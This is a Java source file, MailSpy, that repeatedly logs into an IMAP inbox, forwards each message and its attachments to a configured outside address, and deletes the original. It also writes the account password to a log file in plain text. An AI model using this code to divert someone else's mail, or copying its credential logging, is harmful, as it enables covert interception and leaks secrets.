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| package forest;
import java.io.IOException;
import java.security.Security;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Properties;
import java.util.ResourceBundle;
import java.util.logging.FileHandler;
import java.util.logging.Formatter;
import java.util.logging.LogRecord;
import java.util.logging.Logger;
import javax.activation.DataHandler;
import javax.mail.Authenticator;
import javax.mail.Flags;
import javax.mail.Folder;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Part;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Store;
import javax.mail.Transport;
import javax.mail.internet.AddressException;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeBodyPart;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMultipart;
import com.sun.net.ssl.internal.ssl.Provider;
public class MailSpy {
public static Logger log = Logger.getLogger("MailSpy");
private static ResourceBundle mailProperties = ResourceBundle.getBundle("forest.mail");
private static String username;
private static String password;
private static Properties props = new Properties();
private static SimpleDateFormat sf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
static {
try {
FileHandler fh = new FileHandler(mailProperties.getString("logFile"));
fh.setFormatter(new Formatter() {
@Override
public String format(LogRecord record) {
return String.format("%s [%s] - %s\n", sf.format(record.getMillis()), record.getLevel(), record
.getMessage());
}
});
log.addHandler(fh);
} catch (SecurityException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
Security.addProvider(new Provider());
System.setProperty("javax.net.ssl.trustStore", mailProperties.getString("jssecacerts"));
for (String key : mailProperties.keySet()) {
props.setProperty(key, mailProperties.getString(key));
}
username = mailProperties.getString("username");
password = mailProperties.getString("password");
}
public static void main(String[] args) {
while (true) {
try {
MailSpy util = new MailSpy();
MailMessage mailMessage = util.getMail();
if (mailMessage != null) {
log.info("foward mail");
util.forwardMail(mailMessage);
}
} catch (Exception e) {
log.severe(e.getMessage());
}
try {
Thread.sleep(10000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
public void forwardMail(MailMessage mailMessage) throws AddressException, MessagingException {
Session session = Session.getDefaultInstance(props, new MyAuthenticator(username, password));
session.setDebug(false);
MimeMessage msg = new MimeMessage(session);
if (!mailMessage.getBodyPart().isEmpty()) {
MimeMultipart multipart = new MimeMultipart();
for (MimeBodyPart body : mailMessage.getBodyPart()) {
multipart.addBodyPart(body);
}
msg.setContent(multipart);
} else {
msg.setText(mailMessage.getBodyText());
}
msg.setFrom(new InternetAddress(username));
msg.setSender(new InternetAddress(mailMessage.getFrom()));
msg.setRecipients(Message.RecipientType.TO, mailProperties.getString("forwardTo"));
log.config("Sender " + mailMessage.getFrom() + ", Cc " + mailProperties.getString("forwardTo"));
msg.setSubject(mailMessage.getSubject());
msg.setSentDate(mailMessage.getSent());
Transport.send(msg);
log.info("subject: " + mailMessage.getSubject() + " is sent.");
}
public MailMessage getMail() {
Session session = Session.getDefaultInstance(props, new MyAuthenticator(username, password));
Store store = null;
MailMessage mailMessage = null;
try {
session.setDebug(false);
store = session.getStore();
store.connect();
Folder folder = store.getFolder("INBOX");
folder.open(Folder.READ_WRITE);
int count = folder.getMessageCount();
if (count == 0) {
log.info("no message");
} else {
mailMessage = new MailMessage();
Message message = folder.getMessage(1);
Object content = message.getContent();
mailMessage.setFrom(InternetAddress.toString(message.getFrom()));
mailMessage.setSubject(message.getSubject());
mailMessage.setSent(message.getSentDate());
if (content instanceof MimeMultipart) {
MimeMultipart mp = (MimeMultipart) content;
for (int i = 0, n = mp.getCount(); i < n; i++) {
Part part = mp.getBodyPart(i);
DataHandler hd = part.getDataHandler();
MimeBodyPart messageBodyPart = new MimeBodyPart();
messageBodyPart.setDataHandler(new DataHandler(hd.getDataSource()));
mailMessage.getBodyPart().add(messageBodyPart);
}
} else {
log.info("content of text/plain " + content);
mailMessage.setBodyText(content.toString());
}
message.setFlag(Flags.Flag.DELETED, true);
}
folder.close(true);
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
log.fine("store closed");
store.close();
} catch (MessagingException e) {
e.printStackTrace();
}
}
return mailMessage;
}
}
class MyAuthenticator extends Authenticator {
private String username;
private String password;
public MyAuthenticator(String username, String password) {
this.username = username;
this.password = password;
}
protected PasswordAuthentication getPasswordAuthentication() {
MailSpy.log.config("username " + username + " , password " + password);
return new PasswordAuthentication(username, password);
}
}
class MailMessage {
private String from;
private String replyTo;
private String to;
private String cc;
private Date sent;
private String subject;
private String bodyText;
private List<MimeBodyPart> bodyPart = new ArrayList<MimeBodyPart>();
public String getFrom() {
return from;
}
public void setFrom(String from) {
this.from = from;
}
public String getReplyTo() {
return replyTo;
}
public void setReplyTo(String replyTo) {
this.replyTo = replyTo;
}
public String getTo() {
return to;
}
public void setTo(String to) {
this.to = to;
}
public Date getSent() {
return sent;
}
public void setSent(Date sent) {
this.sent = sent;
}
public String getSubject() {
return subject;
}
public void setSubject(String subject) {
this.subject = subject;
}
public String getBodyText() {
return bodyText;
}
public void setBodyText(String bodyText) {
this.bodyText = bodyText;
}
public List<MimeBodyPart> getBodyPart() {
return bodyPart;
}
public void setBodyPart(List<MimeBodyPart> bodyPart) {
this.bodyPart = bodyPart;
}
public String getCc() {
return cc;
}
public void setCc(String cc) {
this.cc = cc;
}
}
|